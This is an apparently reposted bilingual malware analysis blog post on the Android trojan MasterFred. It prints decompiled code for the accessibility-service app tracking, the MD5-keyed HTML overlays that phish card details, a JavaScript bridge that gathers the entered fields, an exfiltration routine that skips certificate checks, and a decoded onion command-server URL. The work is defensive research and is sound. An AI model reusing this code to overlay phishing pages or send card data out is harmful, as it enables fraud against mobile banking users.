Mobile Malware Analysis Part 2 – MasterFred

移动安全 8个月前 admin
155 0 0

Application Details 申请详情

Name: MasterFred 名字: MasterFred

Package Name: mlab.sert.fr 包名称: mlab.sert.fr

SHA-256 Hash: ce0f20f0c1283fd0e29a5b6a4bd2a44c6a1968b0e7553386bf1e7c88ffce5427 SHA-256 哈希: ce0f20f0c1283fd0e29a5b6a4bd2a44c6a1968b0e7553386bf1e7c88ffce5427

Introduction 介绍

Welcome to the next phase of our Mobile Malware Analysis series. In this sequel, we dive into the enigmatic maneuvers of MasterFred, a notorious malware exploiting Android Accessibility services for its nefarious objectives. Beyond financial breaches, MasterFred infiltrates social networks and vital services. Hidden HTML overlays, crafty login pages, and a labyrinth of stratagems await within its digital arsenal. Join us as we unravel the cryptic mechanics behind MasterFred’s intrigue and fortify yourself against cutting-edge digital threats. Let’s get started.
欢迎来到我们移动恶意软件分析系列的下一阶段。在这个续集中,我们深入研究了MasterFred的神秘操作,这是一种臭名昭著的恶意软件,利用Android辅助功能服务来实现其邪恶目标。除了财务违规之外,MasterFred还渗透到社交网络和重要服务中。隐藏的 HTML 叠加层、狡猾的登录页面和迷宫般的策略在其数字武器库中等待着您。加入我们,揭开弗雷德大师阴谋背后的神秘机制,并加强自己抵御尖端数字威胁的能力。让我们开始吧。

Analysis 分析

Let’s begin analyzing the apk using jadx-gui to get an idea of what the Android malware is doing once installed on the victim’s device. AndroidManifest.xml reveals the different components and permissions this application has.
让我们开始使用 jadx-gui 分析 apk,以了解 Android 恶意软件一旦安装在受害者的设备上就会做什么。AndroidManifest.xml揭示了此应用程序具有的不同组件和权限。

Permissions 权限

<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>

These 2 permissions raise suspicions as they are categorized as dangerous permissions
这两个权限引起了怀疑,因为它们被归类为危险权限

  • android.permission.READ_PHONE_STATE → allows read-only access to the phone state, including the phone number of the device, current cellular network information, and much more.
    android.permission.READ_PHONE_STATE →允许对电话状态进行只读访问,包括设备的电话号码、当前蜂窝网络信息等。

  • android.permission.SYSTEM_ALERT_WINDOW → It can allow an app to be displayed on top of another app, obscuring the lower-level app
    android.permission.SYSTEM_ALERT_WINDOW → 它可以允许一个应用程序显示在另一个应用程序之上,从而掩盖较低级别的应用程序

We can see the app also has Internet permission which suggests the app is communicating with an endpoint.
我们可以看到该应用程序还具有Internet权限,这表明该应用程序正在与端点通信。

Let’s check the Manifest file to understand the different components present in this app.
让我们检查清单文件以了解此应用程序中存在的不同组件。

Components 组件

<activity android:theme="@style/Theme.AppCompat.NoActionBar" android:name="com.lovelydast.dating.MainActivity">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</activity>
<activity android:name="pfuzva.qnrdkp.fwnppu.ActivityWeb"/>
<activity android:name="pfuzva.qnrdkp.fwnppu.ActivityPreInstall" android:exported="false" android:excludeFromRecents="true" android:screenOrientation="portrait">
    <intent-filter android:label="@string/install_name">
        <action android:name="android.intent.action.VIEW" android:excludeFromRecents="true"/>
        <category android:name="android.intent.category.DEFAULT" android:excludeFromRecents="true"/>
        <category android:name="android.intent.category.BROWSABLE" android:excludeFromRecents="true"/>
        <data android:scheme="app" android:host="mlab"/>
    </intent-filter>
</activity>
<activity android:name="pfuzva.qnrdkp.fwnppu.ActivityGetAccessability" android:exported="false"/>
<service android:name="pfuzva.qnrdkp.fwnppu.OverlayService"/>
<service android:label="@string/ap" android:name="pfuzva.qnrdkp.fwnppu.MyAccessability" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE" android:exported="false">
    <intent-filter>
        <action android:name="android.accessibilityservice.AccessibilityService"/>
    </intent-filter>
    <meta-data android:name="android.accessibilityservice" android:resource="@xml/accessibilityservice"/>
</service>
<service android:label="@string/ap" android:name="pfuzva.qnrdkp.fwnppu.NLService" android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" android:exported="false">
    <intent-filter>
        <action android:name="android.service.notification.NotificationListenerService"/>
    </intent-filter>
</service>

We can see there are some interesting components defined like an Accessibility ServiceNotification Listener Service, an Overlay Service along with a few activities (including a MainActivity)
我们可以看到定义了一些有趣的组件,例如可访问性服务,通知侦听器服务,覆盖服务以及一些活动(包括MainActivity)

Source Code Analysis 源代码分析

Let’s start out code analysis from the MainActivity
让我们从 MainActivity 开始代码分析

MainActivity.Java

public void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    setContentView(R.layout.activity_main);
    WebView webView = (WebView) findViewById(R.id.web_view);
    this.n = webView;
    webView.getSettings().setJavaScriptEnabled(true);
    this.n.setWebViewClient(new a());
    this.n.loadUrl("https://m.mingle2.com/");
    final Context applicationContext = getApplicationContext();
    new Thread(new Runnable() { // from class: c.a.a.a
        @Override // java.lang.Runnable
        public final void run() {
            Activity activity = this;
            Context context = applicationContext;
            activity.getApplicationContext();
            new Handler(Looper.getMainLooper()).post(new h(activity, context));
        }
    }).start();
}

We can see there is a WebView defined in this activity that loads the url https://m.mingle2.com/
我们可以看到在此活动中定义了一个加载 url https://m.mingle2.com/ 的 WebView。

Let us turn our attention to the MyAccessibility class, since in many malware Accessibility Services are abused to perform illegal actions.
让我们将注意力转向 MyAccessibility 类,因为在许多恶意软件中,辅助功能服务被滥用来执行非法操作。

MyAccessibility.Java

As discussed in the previous article, we understand the code execution of an accessibility class starts from onAccessibilityEvent()
如上一篇文章所述,我们理解辅助功能类的代码执行从 onAccessibilityEvent()
.

....
ComponentName componentName = null;
try {
    componentName = new ComponentName(accessibilityEvent.getPackageName().toString(), accessibilityEvent.getClassName().toString());
} catch (Exception unused) {
}
try {
    accessibilityEvent.getPackageName().toString();
    accessibilityEvent.getPackageName().toString().toLowerCase();
    StringBuilder sb = new StringBuilder();
    for (CharSequence charSequence : accessibilityEvent.getText()) {
        sb.append(charSequence);
    }
    sb.toString().toLowerCase();
    accessibilityEvent.getClassName().toString().toLowerCase();
    str = e(this).toLowerCase();
} catch (Exception unused2) {
    str = BuildConfig.FLAVOR;
}
....

We can see that the service is getting the component name of the application that is currently running.
我们可以看到服务正在获取当前正在运行的应用程序的组件名称。

....
String packageName = componentName.getPackageName();
if (!PreferenceManager.getDefaultSharedPreferences(applicationContext).getBoolean(i.a("ODQxOTIxNjE6OjpU4aOh9gU="), false) && **a(this, i.a("MzMxMTQ0MTY6OjqcHkW7"), i.j(packageName))**) {
    **Intent intent = new Intent(this, ActivityWeb.class);**
    **Bundle bundle = new Bundle();
    bundle.putString(i.a("NTgzNzYxMzY6OjoVwPg="), i.j(packageName));
    bundle.putString(i.a("ODc4NjY2ODU6OjotlwW4"), i.a("NzUzODE1ODQ6OjqTtA=="));
    intent.putExtras(bundle);
    intent.addFlags(268435456);
    startActivity(intent);**
}
SharedPreferences defaultSharedPreferences = PreferenceManager.getDefaultSharedPreferences(applicationContext);
if (!defaultSharedPreferences.getBoolean(i.a("OTg2ODIzODg6OjrORrOm") + packageName, false) && **a(applicationContext, i.a("NTM5NTQxNjk6OjoUiR53"), i.j(packageName))**) {
    **Intent intent2 = new Intent(this, ActivityWeb.class);
    Bundle bundle2 = new Bundle();
    bundle2.putString(i.a("MzIyNjQ5OTQ6OjoakNg="), i.j(packageName));
    bundle2.putString(i.a("ODk4MjY3Mzk6OjqjNEpN"), i.a("MTc5NTIzNDY6OjrnyWIWXPg="));
    intent2.putExtras(bundle2);
    intent2.addFlags(268435456);
    startActivity(intent2);**
}
....

We can also see some obfuscated strings in this function that are being passed to a(). Lets check it out.
我们还可以看到这个函数中的一些混淆字符串被传递给 a()。让我们来看看吧。

public static String a(String str) {
    try {
        byte[] decode = Base64.decode(str, 0);
        if (decode.length <= 11 || !new String(new byte[]{decode[8], decode[9], decode[10]}, StandardCharsets.UTF_8).equals(":::")) {
            return str;
        }
        SecretKeySpec secretKeySpec = new SecretKeySpec(decode, 0, 8, "RC4");
        Cipher cipher = Cipher.getInstance("RC4");
        cipher.init(2, secretKeySpec);
        return new String(cipher.doFinal(decode, 11, decode.length - 11));
    } catch (Exception unused) {
        return str;
    }
}

We can see that this function decodes RC4 Encrypted strings, and this function has been used in many instances in this application.
我们可以看到,此函数解码 RC4 加密字符串,并且此函数已在此应用程序中的许多实例中使用。

Here is the link to the decryption code using which we will be decrypting the strings.
这是解密代码的链接,我们将使用该代码解密字符串。

Decrypted Strings printed in Console.
在控制台中打印的解密字符串。

Moving on, Let’s focus on this line of code.
继续,让我们专注于这一行代码。

a(this, i.a("MzMxMTQ0MTY6OjqcHkW7"), i.j(packageName))

=======================================================

//Inner function a()
public static String a(String str) {
  try {
      byte[] decode = Base64.decode(str, 0);
      if (decode.length <= 11 || !new String(new byte[]{decode[8], decode[9], decode[10]}, StandardCharsets.UTF_8).equals(":::")) {
          return str;
      }
      SecretKeySpec secretKeySpec = new SecretKeySpec(decode, 0, 8, "RC4");
      Cipher cipher = Cipher.getInstance("RC4");
      cipher.init(2, secretKeySpec);
      return new String(cipher.doFinal(decode, 11, decode.length - 11));
  } catch (Exception unused) {
      return str;
  }
}

//function j()
public static String j(String str) {
    try {
        MessageDigest messageDigest = MessageDigest.getInstance(a("NjkxNDU1NTQ6OjrtLJ8="));
        messageDigest.update(str.getBytes());
        byte[] digest = messageDigest.digest();
        StringBuilder sb = new StringBuilder();
        for (byte b2 : digest) {
            String hexString = Integer.toHexString(b2 & 255);
            while (hexString.length() < 2) {
                hexString = a("MzE5MjI2MTM6Ojqo") + hexString;
            }
            sb.append(hexString);
        }
        return sb.toString();
    } catch (NoSuchAlgorithmException e) {
        e.printStackTrace();
        return BuildConfig.FLAVOR;
    }
}

By passing "MzMxMTQ0MTY6OjqcHkW7" to function a() it comes out as html and we can see that function j() gets the md5 hash value of the package names.
通过传递给 "MzMxMTQ0MTY6OjqcHkW7" 函数 a(),它得出的 我们 html 可以看到函数 j() 获取包名称的 md5 哈希值。

Now let’s check the function a() that takes both these values.
现在让我们检查接受这两个值的函数 a()。

public static boolean a(Context context, String str, String str2) {
    AssetManager assets = context.getResources().getAssets();
    try {
        assets.open(str + i.a("Njg1ODY3ODg6OjpE") + str2 + i.a("MjQ4NzE0MTM6Ojox8PjMqleF+1h9Vg=="));
        return true;
    } catch (IOException e2) {
        e2.printStackTrace();
        return false;
    }
}

Aha…. This looks interesting.
啊哈。。。。这看起来很有趣。

Basically, this function checks whether index.html for the particular package name exists in the HTML directory in the assets directory.
基本上,此函数检查特定包名的 index.html 是否存在于 assets 该目录的 HTML 目录中。

Let’s see one of these index.html to see what they display.
让我们看看其中 index.html 之一,看看它们显示了什么。

Yesss. We hit the jackpot. The purpose of these HTML files is to steal credit card details from the user. Now try to find out what they do with these details.
是的。我们中了大奖。这些HTML文件的目的是从用户那里窃取信用卡详细信息。现在尝试找出他们如何处理这些细节。

If we continue to check the other part of the if-else code that we started earlier, we can see that in the other part, they are checking whether the index.html file that lies within the directory whose name is the same as MD5 hash of the package name is present in the iapk directory.
如果我们继续检查之前开始的 if-else 代码的另一部分,我们可以看到在另一部分,他们正在检查目录中的名称与包名称的 MD5 哈希相同的 index.html 文件是否存在于 iapk 目录中。

But in both of these conditions, they are creating an intent to start ActivityWeb class.
但在这两种情况下,他们都在创造开始 ActivityWeb 上课的意图。

ActivityWeb.Java

public void onCreate(Bundle bundle) {
    String str;
    super.onCreate(bundle);
    setContentView(R.layout.activity_web);
    if (r() != null) {
        r().c();
    }
    if (getActionBar() != null) {
        getActionBar().hide();
    }
    try {
        Bundle extras = getIntent().getExtras();
        this.mw_var_pkg = extras.getString(i.a("NDYyNzEyOTU6OjpqMhM="));
        this.mw_var_type = extras.getString(i.a("Nzc2MjYxNzY6OjrxzEWT"));
        WebView webView = (WebView) findViewById(R.id.web_view);
        this.n = webView;
        webView.setClickable(true);
        WebSettings settings = this.n.getSettings();
        settings.setJavaScriptEnabled(true);
        settings.setDomStorageEnabled(true);
        settings.setJavaScriptCanOpenWindowsAutomatically(true);
        settings.setAllowFileAccess(true);
        settings.setDefaultTextEncodingName(i.a("NzI5ODMxOTY6Ojrkh6gdqQ=="));
        settings.setUseWideViewPort(false);
        settings.setLoadWithOverviewMode(true);
        settings.setCacheMode(1);
        settings.setAllowUniversalAccessFromFileURLs(true);
        this.n.setWebViewClient(new b(this, null));
        this.n.addJavascriptInterface(new c(this), i.a("NzU4MTgxODk6Ojpgk8ur6Jha"));
        if (this.mw_var_type.equals(i.a("MTQzMjQ0MTU6OjoOcrsGLoM="))) {
            this.n.loadUrl(extras.getString(i.a("MTIzNjk4NzI6OjqhG4g=")));
            return;
        }
        String aa = this.mw_var_type.equals(i.a("ODM1MzI4NDY6OjoM1A==")) ? i.a("ODk5MjYyODQ6Ojr1osM1") : BuildConfig.FLAVOR;
        if (this.mw_var_type.equals(i.a("Njk1MjY1NDg6OjqysRkC8zk="))) {
            aa = i.a("NTc3MzE0MTU6OjopKTm2");
        }
        WebView webView2 = this.n;
        String str2 = i.a("NTU5MTczMjk6Ojq8tGqXEsiT+WtudrrnvcSuaufohPRZwg==") + aa + i.aa("MTI2NjIyNjg6OjpW") + this.mw_var_pkg + i.a("NjU2MjQ1Mjk6Ojqr");
        **try {
            InputStream open = getApplicationContext().getAssets().open(aa + i.a("NTg1MzQ0NjM6OjrJ") + this.mw_var_pkg + i.a("MTI4Nzc2ODg6Ojr4ekz1IkZDAls/HA=="));
            byte[] bArr = new byte[open.available()];
            open.read(bArr);
            open.close();
            str = new String(bArr, i.a("OTEyNzQ3NTc6Ojr0NxSDgw=="));
        } catch (IOException e) {
            e.printStackTrace();
            str = BuildConfig.FLAVOR;
        }
        webView2.loadDataWithBaseURL(str2, str, i.a("NzQ0MzE0MjU6OjriUSTAMXJ2XiE="), i.a("MTIxMjk2MzU6Ojo3+SGqjA=="), null);**
    } catch (Exception unused) {
        finish();
    }
}

If we look at this code, we can see that a file is being read from the Assets directory. Based on the code we saw as MyAccessibility class, we can figure out how this malware works
如果我们查看此代码,我们可以看到正在从 Assets 目录中读取文件。根据我们看到的代码 MyAccessibility 类,我们可以弄清楚这个恶意软件是如何工作的

Get the Package Name of the application that is currently running ->
Get the package name -> Get the MD5 hash of the package name ->
Check whether index.html file exists within either /assets/[html or iapk]/<MD5 Hash Value> ->
If exists, load the html file -> Steal personal details from the user

If we go through this class, we can see a function named returnResult that has the @Javascript Interface annotation.
如果我们浏览这个类,我们可以看到一个名为具有注释 returnResult 的 @Javascript Interface 函数。

@JavascriptInterface
  public void returnResult(String str) {
      if (str.length() > 0) {
          Context applicationContext = ActivityWeb.this.getApplicationContext();
          ActivityPreInstall.mw_editSharedPrefs1(applicationContext, ActivityPreInstall.z(applicationContext));
          if (ActivityWeb.xx.equals(i.a("Njk5NjMyMjE6Ojq9Ag=="))) {
              String a = i.a("Mzc5MzU4MTE6OjrTcKYDYhlvLGWXOrMI3o7tM1IM");
              try {
                  JSONObject jSONObject = new JSONObject(str);
                  JSONObject jSONObject2 = new JSONObject();
                  jSONObject2.put(i.a("NTE1NzMzMjc6OjotvBw="), ActivityPreInstall.y(applicationContext));
                  jSONObject2.put(i.a("OTI1MzI0MTM6Ojp7gq0="), jSONObject.getString(i.a("NzYxNjk3Njc6OjoXVTvQ5Q==")));
                  jSONObject2.put(i.a("MTk0NjY4NjQ6OjrzH4Hr"), jSONObject.getString(i.a("ODk5OTY0NTM6Ojov4sA=")).replace(" ", BuildConfig.FLAVOR));
                  jSONObject2.put(i.a("NDIxNDk2MTY6Ojr+Dt3iQQ=="), jSONObject.getString(i.a("ODU5NDM4NjI6OjppZ0L1")).split(i.a("MTczODk5ODU6OjqQKJQ="))[0]);
                  jSONObject2.put(i.a("NTU1NTM1NDc6OjoWs1kt"), jSONObject.getString(i.a("MTQ4NTE4NTM6OjrxzxhW")).split(i.a("MjM4NzM0MTc6Ojp9KA4="))[1]);
                  jSONObject2.put(i.a("MzYxMjMyNTM6OjqYMVI="), jSONObject.getString(i.a("NDc5MzcxMzI6OjrvR2za")));
                  jSONObject2.put(i.a("NTc2MTk0ODE6OjryEDEy4iH0xA=="), jSONObject.getString(i.a("MzQ2MzQ1Nzk6Ojr6THEUiLZ8pA==")));
                  jSONObject2.put(i.a("MjQyNzU2MjI6Ojr081G3"), jSONObject.getString(i.a("MzcxNTUzNjk6OjpqpQBb")));
                  jSONObject2.put(i.a("NzgyMzYxNjQ6OjomsVc="), jSONObject.getString(i.a("OTg3ODk0MjE6OjoMid4=")));
                  jSONObject2.put(i.a("Mjk2NTExMzM6OjofgMU="), jSONObject.getString(i.a("NjM3MjI5MzU6OjplYG8=")));
                  jSONObject2.put(i.a("ODQyNzcyNDM6OjrQ25o="), jSONObject.getString(i.a("OTU3MTk0Mjg6OjqHNRY=")));
                  if (ActivityPreInstall.z(applicationContext).length() > 0 && ActivityPreInstall.A(applicationContext)) {
                      **d.w(a, jSONObject2);**
                      SharedPreferences.Editor edit = PreferenceManager.getDefaultSharedPreferences(applicationContext).edit();
                      edit.putBoolean(i.a("NTY5Mjk0NzQ6Ojrcs+TWHnM="), true);
                      edit.commit();
                  }
              } catch (Exception unused) {
                  ActivityWeb.this.finish();
              }
          }
          if (ActivityWeb.xx.equals(i.a("OTE1OTgzMTM6Ojp0ggYfYGY="))) {
              String a2 = i.a("MjY4MTI0ODM6Ojr3rDmiz/B2bys2zgVIE+1XrB+kzlul");
              try {
                  JSONObject jSONObject3 = new JSONObject();
                  jSONObject3.put(i.a("NjE2NzI3NDE6OjpV0HI="), ActivityPreInstall.y(applicationContext));
                  jSONObject3.put(i.a("NzQ4NDg0MjE6Ojplk/s="), ActivityWeb.yy);
                  jSONObject3.put(i.a("MjE5OTQzNzc6Ojr8OeyC"), str);
                  if (ActivityPreInstall.z(applicationContext).length() > 0 && ActivityPreInstall.A(applicationContext)) {
                      **d.w(a2, jSONObject3);**
                      String str2 = ActivityWeb.yy;
                      SharedPreferences.Editor edit2 = PreferenceManager.getDefaultSharedPreferences(applicationContext).edit();
                      edit2.putBoolean(i.a("NzUxNzY5NzU6OjrBcwcU") + str2, true);
                      edit2.commit();
                  }
              } catch (Exception unused2) {
                  ActivityWeb.this.finish();
              }
          }
          ActivityWeb.this.finish();
      }
      ActivityWeb.this.finish();
  }
}

Now many of our readers will think what’s so special about this annotation.
现在我们的许多读者会想到这个注释有什么特别之处。

According to the official Android Documentation for WebView, methods that are explicitly marked with this annotation are available to be called in JavaScript code.
根据 WebView 的官方 Android 文档,使用此注释显式标记的方法可以在 JavaScript 代码中调用。

If we also check the html files, we can see that this function is being called.
如果我们还检查 html 文件,我们可以看到正在调用此函数。

function finish__(el) {
    var data__ = $('form').custom_ser();
    data__.exit = ""
    console.log(data__);
    Android.returnResult(JSON.stringify(data__))
}

Now what is this Android object??
现在这个 Android 对象是什么??

If we check onCreate() method of ActivityWeb class, we can see this line of code
如果我们检查 onCreate() ActivityWeb 类的方法,我们可以看到这行代码

this.n.addJavascriptInterface(new c(this), i.a("NzU4MTgxODk6Ojpgk8ur6Jha"));

Basically, the WebView has a JavaScript Interface which means a JavaScript code can access a function that is being annotated with @Javascript Interface using the string value being passed as the second parameter.
基本上,WebView有一个JavaScript接口,这意味着JavaScript代码可以访问使用作为第二个参数传递的字符串值 @Javascript Interface 进行注释的函数。

Decoded value of a("NzU4MTgxODk6Ojpgk8ur6Jha") is Android
的 a("NzU4MTgxODk6Ojpgk8ur6Jha") 解码值是安卓

Let’s check what is happening inside returnResult()
让我们检查一下里面 returnResult() 发生了什么
.

Looking inside the first if condition, we can see many encrypted strings. If we decode them, we can see strings like name, card, address, cc, and CVV number (things that are related to Credit Card) are being stored in a JSONObject and being passed to function w()
查看第一个 if 条件,我们可以看到许多加密字符串。如果我们解码它们,我们可以看到像姓名、卡、地址、抄送和 CVV 号码(与信用卡相关的东西)这样的字符串被存储在 JSONObject 中并传递给函数 w()

Looking into the code of function w()
查看函数 w() 的代码

public static String w(String str, JSONObject jSONObject) {
    String next;
    String str2 = BuildConfig.FLAVOR;
    String a = i.a("MjY2NTM2NjY6OjpHoz+E");
    StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().permitAll().build());
    try {
        URL url = new URL(i.a("OTI4MTg1NzQ6OjrgUScojFEVlQ==") + l() + str);
        Iterator<String> keys = jSONObject.keys();
        String str3 = BuildConfig.FLAVOR;
        while (keys.hasNext()) {
            str3 = str3 + ((Object) next) + i.a("MjgxODQ3ODQ6Ojpt") + jSONObject.get(keys.next().toString()) + i.a("MzcxMjg3ODU6Ojpb");
        }
        TrustManager[] trustManagerArr = {new c.a.a.d()};
        SSLContext sSLContext = SSLContext.getInstance(i.a("MzU3NDI5MjQ6OjqHp/g="));
        sSLContext.init(null, trustManagerArr, new SecureRandom());
        HttpsURLConnection.setDefaultSSLSocketFactory(sSLContext.getSocketFactory());
        HttpsURLConnection.setDefaultHostnameVerifier(new c.a.a.e());
        HttpsURLConnection httpsURLConnection = (HttpsURLConnection) url.openConnection();
        httpsURLConnection.setRequestMethod(a);
        httpsURLConnection.setConnectTimeout(5000);
        httpsURLConnection.setDoOutput(true);
        httpsURLConnection.setRequestProperty(i.a("ODYyMzE3NDk6OjosV+pXgySqYj/lnvA="), i.a("OTE0OTM0ODQ6Ojr6MN6i8ZpqNrN8W6dvFW3jkyOKZYMq/1ROsHEb19f605c="));
        OutputStream outputStream = httpsURLConnection.getOutputStream();
        BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, i.a("NjE0OTk0Mjk6OjrvrMMaDQ==")));
        bufferedWriter.write(str3);
        bufferedWriter.flush();
        bufferedWriter.close();
        outputStream.close();
        if (httpsURLConnection.getResponseCode() == 200) {
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpsURLConnection.getInputStream()));
            while (true) {
                String readLine = bufferedReader.readLine();
                if (readLine == null) {
                    break;
                }
                str2 = str2 + readLine;
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    return str2;
}

Finally, we can see that our data is being sent to the C2C Server along with our credit card details.
最后,我们可以看到我们的数据与我们的信用卡详细信息一起发送到C2C服务器。

If we focus on this line URL url = new URL(i.a("OTI4MTg1NzQ6OjrgUScojFEVlQ==") + l() + str); we can get the C2C server URL where all of our details are being sent.
如果我们专注于这一行 URL url = new URL(i.a("OTI4MTg1NzQ6OjrgUScojFEVlQ==") + l() + str); ,我们可以获取发送所有详细信息的 C2C 服务器 URL。

import java.nio.charset.StandardCharsets;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class Main {
    public static void main(String[] args) {
        System.out.println("URL:" + a("OTI4MTg1NzQ6OjrgUScojFEVlQ==")+l());
    }

    public static String l() {
        a("MzY2NzgzNzE6OjoaY78=");
        return a("MTM3NDg5ODg6OjomOEYwUxrVq6b93C8Iww+seZ+l2NVKm+t1jONVAezz2cDE4CyeT5KNYRO0FrzASUVAFVipeIvhKDn8i0xCHLk/9Q==");
    }

    public static String a(String str) {
        try {
            byte[] decode = Base64.getDecoder().decode(str);
            if (decode.length <= 11 || !new String(new byte[]{decode[8], decode[9], decode[10]}, StandardCharsets.UTF_8).equals(":::")) {
                return str;
            }
            SecretKeySpec secretKeySpec = new SecretKeySpec(decode, 0, 8, "RC4");
            Cipher cipher = Cipher.getInstance("RC4");
            cipher.init(Cipher.DECRYPT_MODE, secretKeySpec);
            return new String(cipher.doFinal(decode, 11, decode.length - 11));
        } catch (Exception unused) {
            return str;
        }
    }
}

The URL corresponds to a Tor Website → https://qjvpp2shgqyhcfdvtcpe3w4c4ngigwbcufdtmqokbbs23wymgervjtqd.onion.ws/[REDACTED]
URL对应于Tor网站→ https://qjvpp2shgqyhcfdvtcpe3w4c4ngigwbcufdtmqokbbs23wymgervjtqd.onion.ws/[已编辑]

Now a question might arise in our minds
现在我们脑海中可能会出现一个问题

How are these HTML pages able to be rendered on top of the application?

The answer to this question is due to the permission <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> and a service named OverlayService
这个问题的答案是由于权限 <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> 和一个名为OverlayService的服务

//Overlay Service.java
public class OverlayService extends Service {

    /* renamed from: a  reason: collision with root package name */
    public WindowManager f962a;

    /* renamed from: b  reason: collision with root package name */
    public View f963b;

    @Override // android.app.Service
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override // android.app.Service
    public void onCreate() {
        super.onCreate();
        WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams(-1, -1, 2038, 56, -3);
        this.f963b = LayoutInflater.from(this).inflate(R.layout.activity_overlay, (ViewGroup) null);
        WindowManager windowManager = (WindowManager) getSystemService("window");
        this.f962a = windowManager;
        windowManager.addView(this.f963b, layoutParams);
    }

    @Override // android.app.Service
    public int onStartCommand(Intent intent, int i, int i2) {
        if (intent.getBooleanExtra("stop", false)) {
            this.f962a.removeView(this.f963b);
            stopSelf();
        }
        return super.onStartCommand(intent, i, i2);
    }
}

Basically, our app requests the user for this permission. Once the user has granted this permission, this malicious application loads the corresponding HTML pages in our device.
基本上,我们的应用程序向用户请求此权限。一旦用户授予此权限,此恶意应用程序就会在我们的设备中加载相应的HTML页面。

Now another question might arise. How does this malicious application know what is happening in our activity?
现在可能会出现另一个问题。这个恶意应用程序如何知道我们的活动中发生了什么?

This is also done because of the Accessibility Service that is running behind the scenes.
这也是因为辅助功能服务在后台运行。

public static void g(AccessibilityNodeInfo accessibilityNodeInfo, int i2) {
    if (accessibilityNodeInfo == null) {
        return;
    }
    String str = BuildConfig.FLAVOR;
    for (int i3 = 0; i3 < i2; i3++) {
        str = b.a.a.a.a.b(str, " ");
    }
    StringBuilder d2 = b.a.a.a.a.d(str);
    d2.append(i.a("NDU3Njc5MzU6OjqbA1mL"));
    d2.append(accessibilityNodeInfo.getWindowId());
    d2.append(i.a("NjM0NTc5MjE6OjpPWqyi"));
    d2.append(accessibilityNodeInfo.getViewIdResourceName());
    d2.append(i.a("Mjg1MjUxMjU6Ojo28quV"));
    d2.append((Object) accessibilityNodeInfo.getClassName());
    d2.append(i.a("Mzg1MTM3NjM6Ojo2iOYiHfXp"));
    d2.append((Object) accessibilityNodeInfo.getText());
    d2.append(" ");
    d2.append(i.a("MTIzMTU0MjM6OjqnHnmlG+lvKGfV6JGSHJH4VAKh7+B8"));
    d2.append((Object) accessibilityNodeInfo.getContentDescription());
    Log.v("===", d2.toString());
    for (int i4 = 0; i4 < accessibilityNodeInfo.getChildCount(); i4++) {
        g(accessibilityNodeInfo.getChild(i4), i2 + 1);
    }
}

public static void h(AccessibilityNodeInfo accessibilityNodeInfo, int i2) {
    if (accessibilityNodeInfo == null) {
        return;
    }
    String str = BuildConfig.FLAVOR;
    for (int i3 = 0; i3 < i2; i3++) {
        str = b.a.a.a.a.b(str, " ");
    }
    StringBuilder d2 = b.a.a.a.a.d(str);
    d2.append(i.a("MzI4NDE3ODU6OjptACXF"));
    d2.append(accessibilityNodeInfo.getWindowId());
    d2.append(i.a("NzY4NTk5OTQ6OjouYal5"));
    d2.append(accessibilityNodeInfo.getViewIdResourceName());
    d2.append(i.a("ODQyMzY3NjM6OjrODKND"));
    d2.append((Object) accessibilityNodeInfo.getClassName());
    d2.append(i.a("MzE1MTc2NjE6OjoSGJRBHw9n"));
    d2.append((Object) accessibilityNodeInfo.getText());
    d2.append(" ");
    d2.append(i.a("MzU0OTUyMjU6Ojp9zd3eKVzgNY6PaneDTjFyUWcUkQnv"));
    d2.append((Object) accessibilityNodeInfo.getContentDescription());
    Log.d("===", d2.toString());
    for (int i4 = 0; i4 < accessibilityNodeInfo.getChildCount(); i4++) {
        h(accessibilityNodeInfo.getChild(i4), i2 + 1);
    }
}

If we look into these functions they are collecting information like Window ID, Class Name, Texts, Content Description, and much more. To get a clear idea of this, check the logs using the command
如果我们研究这些功能,它们正在收集诸如窗口ID,类名,文本,内容描述等信息。要清楚地了解这一点,请使用命令检查日志

adb logcat -s "==="

We can confirm that the text present on the screen and other information is present in the logs, and this is what is used by the application to check what is happening in the device and act accordingly.
我们可以确认屏幕上存在的文本和其他信息存在于日志中,这是应用程序用来检查设备中发生的事情并采取相应措施的内容。

Here is the list of apps targeted by this malware.
这是此恶意软件针对的应用程序列表。

App Name 应用名称 MD5 Hash MD5 哈希
Twitter  0b2fce7a16bf2b728d6ffa28c8d60efb
Snapchat  a63b0f8076346d26cbdc1b971a1da2a7
Skype app Skype 应用 b1f7bbf91b565db9420d418963bac8aa
Google Play 谷歌播放 b5a5c5cb02ca09c784c5d88160e2ec24
Santander mobile 桑坦德移动 50880dff23ad00092d76765322e72df8
PeoPay  fa26b212d22d637c030a270eeba0f202
BNP Paribas GOMobile 法国巴黎银行 戈莫比莱 a307cb31fbcbf314b81c4109bb897fd3
PKO Bank Polski PKO波兰银行 397aeab5db5b8d9d45214f256f7e4184

Conclusion 结论

In this blog, we’ve encountered a digital threat that’s adapting fast. Using Android Accessibility services, MasterFred breaches privacy, stealing data, and invading networks. From financial info to social accounts, its skills are impressive. Hidden HTML overlays and tricky logins are just part of its arsenal. It can even adapt based on what you’re doing and what application is running. Plus, it secretly sends our info to a mysterious Onion URL acting as a hidden command center. Learning about MasterFred reminds us to stay cautious and informed. With this knowledge, we’re better prepared to defend against these advanced digital dangers.
